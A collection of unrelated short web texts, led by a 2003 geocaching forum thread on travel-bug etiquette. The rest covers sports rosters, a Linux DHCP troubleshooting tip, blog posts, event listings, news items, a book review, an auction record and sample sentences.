is it just me, or do people go out of their way to grab a travel bug?
it seems as though when there's a note posted about a travel bug being added or left in a cache, somebody has to go get it immediately.
while i'm sure i'd enjoy securing a travel bug, i doubt i ever will, as people practically race to get 'em.
and is it my imagination or have i seen people go out of their way to revisit a cache just to swap or secure a bug?
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MnGCA Board
Joined: 17 Dec 2002
Posts: 947
Posted: Tue Jan 14, 2003 1:48 am
Post subject:
There are a few people in this area that do race to grab a bug right away. But, I have noticed that they only race to get to a bug they haven't had yet. They grab it and log it, and place it into another cache in the area, where it's fair game for anyone else to grab. I have also noticed that they'll grab bugs from other areas when they travel, and place them in circulation here, thus adding more bugs to find in the local area. So it's just a matter of patience to wait for a bug to show up in a nearby cache that has already been claimed by our local bug mavens. The purpose of a travel bug is to travel, so I don't see anything wrong with going back to a cache to get a bug, as long as you put it back out in circulation as soon as possible.
There comes a time in every young boy's life when he gets an irresistible urge to seek buried treasure.--Mark Twain
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Past MnGCA Board
Joined: 26 Nov 2002
Posts: 1270
Posted: Tue Jan 14, 2003 6:55 am
Post subject:
Some folks love the hunt of a new cache, some like the bugs. We even have a world leader in placing caches. It takes all kinds to make this sport so much fun.
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Past MnGCA Chair
Joined: 27 Nov 2002
Posts: 621
Posted: Tue Jan 14, 2003 10:57 am
Post subject: Plenty of bugs to be found
Lots of bugs out there right now just waiting for you--- go get one...... or two
These are all current as of 10am today.
There are even more out there if you look outside the immediate metro and are willing to travel a bit.
there since 1/7
there since 1/7
there since 1/4
there since 1/11
there since 1/3
there since 12/18
there since 1/8
there since 12/14
there since 1/5
there since 12/31
there since 12/26
I have been skunked PLENTY on bugs - trust me!
That is all part of the game and the competition of the hunt. It is all in good fun and we are all still friends afterward.
Like Tango said -- some like to hide them
, some like to find them
, some are bug hunters
-- some like the numbers
, and some don't care about the numbers
-- something for everyone in this hobby.
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Past MnGCA Board
Joined: 16 Dec 2002
Posts: 69
Posted: Tue Jan 14, 2003 11:21 am
Post subject:
Hardware brings up a good point and I'm glad to see it. In my opinion (being an outstate-er!) I've seen bugs sit for a month and I've seen 'em disappear in hours, it's all part of the game.
Currently, there's one in Blue Earth that's been there for two months. Le Sueur has two, and I doubt they'll move unless I give them a hand shortly.
Calisota and I also placed a few in St. Paul in the Crosby Farm/Highland area and I would bet that's still a good place to nab a bug.
It just takes time to nab a bug!
"I bet you can't tell me what it smells like in the Sistine Chapel." - Sean to Will, Good Will Hunting
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King Boreas
Joined: 16 Dec 2002
Posts: 2463
Posted: Tue Jan 14, 2003 12:12 pm
Post subject:
I may be going to Mankato sometime in the next two weeks, and I'm hoping those LeSueur bigs are still there.
I'm probably going to Crosby on Friday.
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Joined: 13 Jan 2003
Posts: 157
Posted: Sat Mar 15, 2003 3:33 pm
Post subject: my bug philosophy
i have yet to find a travel bug, but i haven't hit that many caches since getting my GPS late last september. (keep in mind, i look forward to finding one, and may some day plan a cache hunt in anticipation of finding one, but it's not a priority.)
if i find a bug in the future i will take it, record it and return it to another cache. i will not, however, note that i'm placing a bug in the new cache when i fill out the online log. rather than have some bug chaser race to a cache for the thrill of logging it and swapping it with another bug in a cache they've already visited, i'm going to leave it for the unsuspecting soul who happens along the cache after i visit.
does anybody else drop bugs in caches without reporting them?
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Joined: 19 Dec 2002
Posts: 27
Posted: Sat Mar 15, 2003 5:27 pm
Post subject:
I have considered placing bug without logging them but only those that I own. You move a bug without a log the owner might not like that.
I do like the idea of rewarding cache seekers with a suprise.
Maybe you could email the owner and ask them if they didn't mind you moving it without a log. I wouldn't mind if you did it with mine as long as I know where you put my bug.
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Moe the Sleaze
Joined: 10 Jan 2003
Posts: 1159
Posted: Sat Mar 15, 2003 5:50 pm
Post subject: Re: my bug philosophy
hardware wrote:
does anybody else drop bugs in caches without reporting them?
The whole point to travel bugs is that their movements get logged and tracked. If you grab a bug and move it, please play by the rules.
"Hi, I'm Moe, or as the women know me - Hey! You in the bushes."
-Moe, The Simpsons
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King Boreas
Joined: 16 Dec 2002
Posts: 2463
Posted: Sat Mar 15, 2003 9:04 pm
Post subject:
does anybody else drop bugs in caches without reporting them?
FYI: I want mine logged, and logged as soon as possible.
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Joined: 16 Dec 2002
Posts: 42
Posted: Sun Mar 16, 2003 2:38 am
Post subject:
There is nothing worse than a lost bug. I mean we pay for them and even though its only $6 it still ticks me off when some irresponsible moron plunders a cache with a bug in it and the bug is gone. Or worse the cachers that don't read the directions on the website and therefore have no clue how to log a travel bug properly! I don't care if you're a newbie read the directions and learn like the rest of us did. Check out the logs
ath the travel bug graveyard.
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Past MnGCA Board
Joined: 16 Dec 2002
Posts: 73
Posted: Sun Mar 16, 2003 12:35 pm
Post subject:
I found a new TB tag in one of Farmer Ted's caches, and I was thinking, should I take it, or should I leave it. I ended up leaving it and e-mailing him that there was a new TB tag in the cache, just incase he did not know.
"The world is a dangerous place. Not because of the people who are evil, but because of the people who don't do anything about it." - Albert Einstein
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Joined: 19 Dec 2002
Posts: 27
Posted: Sun Mar 16, 2003 1:27 pm
Post subject:
I do put new tags in my caches for first finders I will post that on the cache page on my future hides
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Joined: 13 Jan 2003
Posts: 157
Posted: Mon Mar 17, 2003 10:47 am
Post subject: perhaps i'm missing something
not having found a bug, i certainly have no experience with logging them and dropping them off elsewhere.
i would assume that if i go to "cache A" and find a bug, i would log it through the geocaching.com web site, based on it's ID number, and tell where i found it.
so, am i required to register where i drop it off?
that seems redundant. it would seem that the only obligation should be to record it when you find it. that may not be what the travel bug rules say, but again, i don't know, i have yet to pick up a bug.
are you required to record which cache you place it in with a user note on the cache page?
if i create "cache B" and decide to revisit it and leave the travel bug i found in "cache A," i would rather not tell people, "hey, run back to my cache and swap your bug with this one, so i can pick yours up and record it in the system, then go swap it with 'bug bunny' in 'cache C.'" i'd rather an unsuspecting rock johnson finds it in his weekly cache hunt.
i guess i'm just puzzled about the rules of travel bugs. does geocaching.com want bug chasers? if their rules require me to record where i leave bugs and post notes on cache pages alerting bug chasers that a bug is now there, then yes, they do.
i'm not going to lose sleep about the bug chasing phenomenon, i just don't want to be a part of its breeding, so long as i'm not committing a travel bug felony by my actions.
Last edited by hardware on Mon Mar 17, 2003 4:42 pm; edited 1 time in total
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Joined: 13 Jan 2003
Posts: 157
Posted: Mon Mar 17, 2003 11:02 am
Post subject:
kingboreas wrote:
FYI: I want mine logged, and logged as soon as possible.
so regardless of whether or not i'm required to post where i drop off a bug, what is my obligation, if any, to drop one off. let's say i hit one cache tonight, after work, and find a bug. i take it home, record it, then my mother dies. after her funeral i spend the next several weeks dispersing her belongings, with little time for recreational activities like geocaching. am i committing a travel bug felony?
that's an extreme case, so let's use a more practical one. i find a travel bug tonight. i log it. now it's time to drop it off somewhere. i know i'm going to milwaukee the weekend of May 2. am i guilty of a travel bug felony by holding onto it for a month-and-a-half?
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Lacrosse news straight to your inbox.
Tuesday August 6th, 2013 1:06am
The Pfeiffer University Men's Lacrosse program welcomes 12 new additions to the 2012-2013 squad. This year's incoming group hails from seven different states and includes a pair of Canadians. The group of a dozen guys joins a Falcon team who set a school-record last season for 12 wins in a season.
"It is with great pleasure we welcome this year's incoming class. Three years ago my staff and I welcomed our first recruiting class and believe that this group is undoubtedly our best to date. This talented incoming group reflects the effort of both the coaches and the team alike, and is a true testament to the direction we are moving with the program. The combination of experienced returners and talented newcomers will provide a challenging and focused team atmosphere. Both the coaches and returning players are excited to welcome these student athletes and look forward to the 2012/13 season."
- PfeifferCoaching Staff
#1 Matthew Michaeli Fr. Midfield 6'1 - 180
Hometown: Draper, UT
High School: Alta High
A unique well rounded player from an unconventional lacrosse area, Matthew has the ability and opportunity to make an impact immediately at the midfield position. Combining All State Lacrosse honors with honor roll achievements at Alta HS, Matthew will be pushing his team and classmates in the right direction. After nine years of playing experience, Matthew's senior season was culminated with an impressive 33 goals and 26 assists; and the honor of being named first team all-state and first team all-conference.
#4 Spencer Allen Jr. Midfield 6'2 - 185
Hometown: St. Catharine's, ON
High School: Holy Cross Secondary School
Transferring from Genesee Community College in upstate New York, Spencer will be an immediate impact player for the Falcons this year. Coming off a 2012 season where he lead JUCO nationally in assists and capped off his career at GCC with 100 plus points, Spencer, a JUCO All-American, has the ability to push for time and compete well in Conference Carolinas and division II. A native of Canada, his background in indoor lacrosse and playing experience will mesh well with fellow Canadians on the offensive side of the ball.
#6 Jordan Michele Fr. Midfield 5'8 - 165
Hometown: East Rochester, NY
High School: East Rochester
Jordan comes to Pfeiffer from East Rochester, New York and brings with him a wealth of experience. Having played for over seven years at a variety of levels, Jordan will look to make his mark as a Falcon this season. A standout at East Rochester, Jordan capped off his senior campaign being named team MVP and a team captain.
#13 Joe Capstaff Fr. Goalie 6'0 - 185
Hometown: Leonard Town, MD
High School: St. Mary's Ryken
A product of St. Mary's Ryken in Maryland, Joe comes to Pfeiffer with a strong lacrosse background. After attending USF in Florida last year, Joe decided to make his way back to the lacrosse playing field. A driven student, Joe also managed to achieve athletic success earning first team all-county and all-conference honorable mention in his senior season at St. Mary's. Joe brings athleticism to the goaltending unit, and will work closely with Coach Conlon and returning two time first team all-conference goaltender Hayden Kirk.
#14 Tom Valandra Grad. Defense 5'10 - 185
Hometown: Minneapolis, MN
High School: Minneapolis Southeast
Tom, another transfer from Division I Presbyterian, will be completing his final year of eligibility at Pfeiffer while perusing his master's degree. An experienced college player, Tom will push the group and provide the guidance and leadership needed to achieve our goals. A native of Minneapolis, Minnesota, Tom has proven to have superior lacrosse IQ and ability to match.
#17 Sean Sullivan Fr. Midfield 5'9 - 160
Hometown: Littleton, CO
High School: Heritage HS
Another significant role player, Sean will take on the task of filling a void left from last season's graduation at the defensive midfield position. A keen and intelligent player, Sean has proven his worth on and off the field. In his senior campaign, Sean racked up 41 points and earned first team all-south Suburban Conference. Sean also managed to gain academic recognition his senior year being awarded the Heritage HS Student Government award.
#22 Khalid Stukes Fr. Midfield F/O 5'5 - 220
Hometown: Alexandria, VA
High School: Thomas A. Edison
Khalid brings well needed skill and work ethic to the ever important face off position this season. While at Edison HS, Khalid worked his way to an impressive Face off percentage of 92% and led his team in ground balls in his senior season. Being awarded the most improved player his senior year; Khalid looks to continue improving while challenging his teammates and opponents at the face off X.
#28 Derek Thomas Fr. Midfield 6'1 - 170
Hometown: Georgetown, ONTARIO
High School: Hill Academy
Derek brings depth, athleticism, and skill to the midfield. One of two incoming Canadians, Derek, has the benefit of being a product of the Canadian box lacrosse environment. With the guidance of Coach Brodie Merrill while at the Hill Academy, Derek has become a talented field player with a great deal of potential. In three years at the Hill Academy, Derek recorded 40 goals and 80 assists.
#30 Blake Studstill Grad. Defense 6'1 - 210
Hometown: Orlando, Fl.
High School: Timber Creek
Blake transfers to Pfeiffer after graduating from Presbyterian College. Completing his senior year after the program was discontinued at Presbyterian; Blake decided to pursue graduate studies while taking advantage of his remaining eligibility. While at Presbyterian, Blake was a mainstay on defense and brings a wealth of experience and leadership to Pfeiffer.
#31 Terry McKinney Fr. Midfield 5'8 - 155
Hometown: Gaithersburg, MD
High School: Quince Orchard
A relative newcomer to the game, Terry has brought welcomed athleticism and work ethic to the program. With a drive to compete and the skill set needed, Terry will undoubtedly make strides with the guidance of the coaches and teammates this season. Relocating to the Charlotte area this past year, Terry has benefited from diverse lacrosse community in Charlotte and played both indoor and outdoor lacrosse with the Charlotte Lacrosse Club.
Visit gofalconsports.com for the latest news and info on Pfeiffer University Athletics.


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Connecting with readers via Twitter, your blog, and organized online chats is one way to reach people. Another important way is through the media, who will be able to get the word out about your book to a larger audience. Successful PR requires a lot of work but can have a huge payoff. The media is hungry for news with a new angle. It's up to you to provide journalists with insight into why their audience will be interested in your story.
Nowadays, most journalists accept and prefer email communication and their addresses are often found attached to their articles. Alternatively, if you're going to contact a blogger, you can find his or her information on a "Contact" page. Please note: Mail isn't dead. Remember, you want to stand out, so package up your book and press release in a way that will catch the journalist's eye. With so many pitches being received per day, you'll need to stand out.
Before you start sending off a press release (tips on how to write a great press release here), here's a little more information on how to get your pitch noticed.


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Hello All,
After installing BT2 to my HDD I ran into a little annoyance regarding DHCP and my default route/Gateway.
Intermitendly I was losing my default gateway and having to issue the ROUTE command to reset the GW setting manually. Also when I ran the network script /etc/rc.d/rc.inet1 it did not seem to fix the problem. I needed to reboot the whole machine = frustration!
What I found is that for some reason DHCP was not cleaning up after itself. It was being silly and not requesting new information if the lease had not expired.
The solution I found was to add the following line to the very beginning of the /etc/rc.d/rc.inet1 script.
rm -f /etc/dhcp/dhcpd*
If you want to do this for a specific interface, IE not your wlan or something, you can tweak it.
For example my wired interface is eth0 and my wifi is eth1. So to have my lan line PID and cache info file removed and not my wifi I change the line to this
rm -f /etc/dhcp/dhcpd-eth0*
This may be a sloppy way to fix this, but I wanted to share what I had learned. If anyone knows of a less "hack and slash" method please let me know.


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Past is daffy,
Future is daffy,
Present is Dhamma.
Past is drunkenness
and future pure unreasonableness
only present makes awakened.
Remember that untill you are sure.
Stop with the chattering, because
too much talking is not Dhamma.
It is daffy.
Return to "Discovering Theravāda"
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Oh, and that flower - yes, it's for you.
Because I love to see you smile...
This week was fairly *interesting*...it was kind of a rollercoaster in my blog posts, but thanks for sticking around for the ride.
I thought it would be nice if we went outside today...I know it's a little crisp, but I have blankets. Grab one and we'll chat.
Guess what?
Tomorrow's my seven-year wedding anniversary. Lucky Number Seven...and it sure has been pretty wonderfully lucky for us. I know you probably here this from a lot of couples, but I cannot believe my husband and I have made it this far into our relationship.
See, we met our sophomore year in high school - we became great friends...we'd walk to school together every morning and back every afternoon. We'd laugh, talk...I could tell him anything. It was never romantic, just best friends, you know? Well, not a lot of people (my dad in particular) thought that was a good idea. So that summer after we met, I was told not to talk to him anymore. We both lived our separate lives in high school - passing in the halls and saying hi or him asking me to hook him up with a friend of mine {he dated her for something like 4 years - I was a good matchmaker...}...
Then college happened. We started hanging out again...all very secret until my dad found out again. We had become romantically involved after all and I was sent away to another country because of it...
{this is the short version, I promise}
Fast forward six years and I'm back from my "get-away"...and I receive an email at work.
THE most breath-taking email {think "thinking of you" and sunsets}...
I was done for...two years later, my love and I were together again - not caring who stood in our way.
We've had it all. We've had it all taken away. We've gained a lot along the way...
But most of all, we have each other...no matter what or who may stand in our way.
Our Heavenly Father had His hand in all of it -
and what a great plan He put together :)
So, I'm sorry...There I went again babbling along!
How's your tea? {oh, you moved on to coffee?}
Just one more thing...
Just a little reminder...
You are worth it.
Don't doubt yourself.
You're beautiful.
You are...
Don't forget that okay?
I do a lot, but I want to thank you for yesterday's post when I was full of doubt.
You were {again} my "lift-me-upper".
And for that
{insert hug}


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- This event has passed.
DC Pride Parade Post-march Interfaith Social
June 7, 2014 @ 19:00 - 21:00
Event Navigation
After the DC Pride Parade on Saturday June 7th, we will be hungry! Come gather with members of Affirmation LGBT Mormons, Families & Friends, Gay Christian Network (Baltimore) and Kinship (7th Day Adventists) for an amazing interfaith social and dinner! Following the parade, meet at the Chastleton Condo social room (first floor) after the march. $10 dollar suggested donation per adult to cover food, drinks, and venue.
The venue (corner of R and 16th) is only 2 blocks from the end of the parade route (note this is a different building than last year's post-parade social). See the Facebook event page for updates, and contact James at (703) 303-6712 for any questions.


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PHILADELPHIA - During this year's 120th running of the Penn Relays, the University of Pennsylvania will dedicate its brand new, state-of-the-art throwing venue to one of the school's most beloved track and field coaches, Irving "Moon" Mondschein.
The official dedication of the Irving "Moon" Mondschein Throwing Complex -- considered one of the nation's premier throwing facilities -- will take place at 10:30 a.m. on Saturday, April 26.
"Irv was one of a kind, and my early mentor at Penn," said head women's track & field coach Tony Tenisci, who has served as the throws coach at Penn for the better part of three decades. "Standing next to him while coaching was a fantastic experience. He knew his athletes inside and out...he knew how to teach, guide and motivate them. All done with a great sense of humor and relaxation. His athletes just loved him and would do anything for their coach. His strength of character and undeniable belief in his athletes, made him legendary. Irv embodied all of the great qualities of a coach and his tireless dedication to his athletes and Penn is deserving of the wonderful recognition of having his name placed on the new state of the art throwing venue at Penn."
"Moon is a legend here at Penn and in the entire track & field community," said Penn's Director of Track & Field Steve Dolan. "His competitive accomplishments as an athlete and coach are astonishing achievements. Even more impressive is the positive impact that he has had on so many lives. Moon is recognized as a man of great character and is an inspiration to all coaches."
Moon began his coaching career at the University of Pennsylvania as an assistant track coach in 1965. When Penn Athletics Hall of Fame coach Jim "Tupp" Tuppeny retired in 1979, Moon took over the head coaching position, where he remained for eight years.
Moon was nationally renowned in his coaching expertise. At age 27, he coached Israel's first Olympic team at the 1952 Helsinki Games. At age 62, while head coach at Penn, Moon was a member of the U.S. Track & Field coaching staff for the 1988 Olympic Games in Seoul.
Moon was also an all-around athlete. While at New York University, he was all-East in football. But, it was in track and field where Moon had the greatest success. He was the National AAU decathlon champion in 1944, 1946, and 1947. In 1948, Moon placed second, earning him a spot on the United States Olympic Track & Field team, competing in the London Olympics, as a decathlete. Moon was also the NCAA champion in the high jump in 1947 and 1948.
Moon was inducted into the U.S. Track & Field and Cross Country Coaches Association Hall of Fame, as well as into the NYU Athletics' Hall of Fame, the National Jewish Sports Hall of Fame, the New York Jewish Sports Hall of Fame and the Philadelphia Jewish Sports Hall of Fame.
Download: Moon Poem.pdf


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- Join Date
- Jul 2014
- Posts
- 2
IBO World Championships at Holiday Valley
Hey all,
My name is Spencer Timkey, and I work with the marketing department at Holiday Valley in Ellicottville, NY. If you haven't yet heard, the IBO's World Championships are coming back to us, and that means a good time for anyone who loves archery.
The actual World Championships are invite only, HOWEVER, we're running the 'Holiday Valley Open' -- which allows amateurs to shoot the same course the invitees are shooting. Registration is $45, and you can find the form here --> http://www.holidayvalley.com/pdf/Eve...phy%20form.pdf
Everything is going down August 7-10, so if you're around the area and want to test your skill against some of the best in the world, sign up and show us what you've got. You can find more information on our Facebook page (www.facebook.com/holidayvalley) or our website (www.holidayvalley.com/ibo).
Thanks! We're really excited the event is coming back. I've seen the layout of the course, and it's going to be really cool. Hope to see everyone out here. Thanks for your time.
Spence Timkey
HV Marketing
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I wasn't really HTML5's biggest fan. The fact that you can write it however you want made me very worried that it might result in poor coding again (unclosed tags, or mismatched closing tags). But after reading Introducing HTML5 and HTML5 for Web Designers, I realized that what it lacked in rigid coding conventions it made up with semantic elements like
header and
footer to name a few.
If you're planning on learning more about HTML5 then I suggest that you pick up these two books as it will help you immensely. Funny enough, while I'm reading these books, I suddenly realized how bad I did in coding this site up. I'm currently in the process of re-writing the entire thing while keeping in mind the mobile first philosophy. It's a little challenging, but that's how things get more fun, right? (I sure miss IE a little bit.)
Introducing HTML5 by Bruce Lawson and Remy Sharp
Bought Introducing HTML5 (ref) a couple of days after I got my Kindle. The sample file was engaging and I thought it would be great to read about HTML5 in one place. The web is just buzzing with HTML5 news and tips and tricks that just getting up to date is hard to do.
The book uses a conversational tone and it's probably the biggest reason why I love it. Bruce Lawson and Remy Sharp were able to discuss the difference between seemingly similar elements in a very clear and concise way. The explanations are so easy to understand that I just realized that, unfortunately, the only thing I did right in my markup (in this site) is using
article for my blog posts.
The book is divided into 10 chapters, they discussed how HTML started to structuring text elements and new types of forms, to using
video and
audio tags properly as well as
canvas, how to access and set data storages, offline mode, drag and drop, geolocation and APIs.
I love how in-depth the book is, it gave a lot of examples that you can follow throughout the book, the discussions on which element is which and what for is so succinct. Introduction to HTML5 is a very meaty one, it's the type of book you're going to consult over and over again.


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MVC Facility Update as of 11/9/2012 4:23 PM
(TRENTON) -- Motor Vehicle Commission (MVC) customers are advised of the following facility issues:
All other MVC agencies and inspection stations continue to be open during normal business hours. For information, please visit www.njmvc.gov.
Customers are reminded that all MVC agencies and inspection stations will be closed on Monday, November 12 in recognition of Veterans Day.


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Oriente Petrolero 2006 home shirt green/white stripes.Features embroidered team badge and plastic applied logo.Screened on sponsors in front,back and on the sleeves.100% polyester.
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Main navigation | Main content
This is the first iteration of the new Official Enrollment Statistics Report. The report is now web-based as opposed to static PDF documents. The data are presented graphically by term or five-year trends. The historic enrollment (STIX) reports for terms Fall 1999 - Summer 2010 will remain available. The new format includes data back to Fall 2001. If you would like to combine or cross a number of variables seen below, you could try the more flexible Enrollment Pivot report. May Session enrollment is reported separately.
View the data load table for details on the scheduled updating and staff contact for these data.
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15 January 2008,
London, South Kensington
Price realised GBP 750
Louis Marie Lemaire (FRENCH, 1824-1910)
Chickens in a farmyard
signed 'Lemaire' (lower left)
oil on canvas
16 x 12 in. (40.6 x 30.5 cm.)
New York +1 212 636 2000
London +44 (0)20 7839 9060
Hong Kong +852 2760 1766
Shanghai +86 21 6355 1766
Special Notice
No VAT will be charged on the hammer price, but VAT at 15% will be added to the buyer's premium which is invoiced on a VAT inclusive basis.
Bidders from 65 countries take part in the 11 sales, with Guardi's Venice: The Rialto Bridge setting the highest auc..
From applique and back splats to veneering and wingbacks, an essential glossary of furniture terms
Nic McElhatton, Chairman of Christie's South Kensington, on his love for the small domestic wooden objects prized by coll..
Overall sales hit £2.35 billion ($3 billion) in the first half of the year, with auction sales up by 29 per cent on the e..
Interior designer and heritage colour expert Edward Bulmer on the modello by Jean-Baptiste van Loo he acquired 27 yea..


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As news spread about the resignation of Pope Benedict XVI on Monday, Roman Catholics in San Bernardino County entered morning Masses with trepidation about the future of a church that has been rocked by recent scandal and now shocked by a pope who says his time has come to step down.
Some parishioners arriving at St. Joseph Roman Catholic Church in Fontana were nervous about what the future holds.
"I can't believe what's happened. It's kind of scary, I think," said Susanna Espinoza, an official at St. Joseph.
The concern from Espinoza, a lifelong Catholic, didn't end there. It pondered the future. "What's going to become of our religion?" she said.
Some parishioners hoped that there would be prayers for the Pope's health. Others hadn't even heard the news of the Pope's resignation.
The Rev. Guillermo Martinez heard the news on the Pope from a parishioner after morning Mass.
The Pope's resignation came as a surprise, but he says he's not worried about the future of the church. "There is no concern because we have good candidates to be the Pope," he said.


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Clarke is preparing for an Aug. 31 Ninth Circuit Court of Appeals hearing on his forced medication.
Clarke will most likely seek to avoid a trial and negotiate a plea.
Clarke began by seeking to comprehend how Smith could have become a mother so unlike the one she herself had known.
But however well suited Clarke is for the task, the challenge she now faces is formidable.
Asked who would have made the order, Clarke replies, "I would think it would have been made by the director," referring to Tenet.
Strong steps had to be taken; and Clarke was not the man to shirk his duty.
In view of this, Clarke was sent to guard the frontier forts.
But if we answer, that something may be put where there is nothing, what answer will be made by Newton and Clarke?
Clarke's house was burned, and his family ordered to leave the State.
He, sick at heart at her connivance in the trick, made no reply, but silently took the seat which Clarke indicated.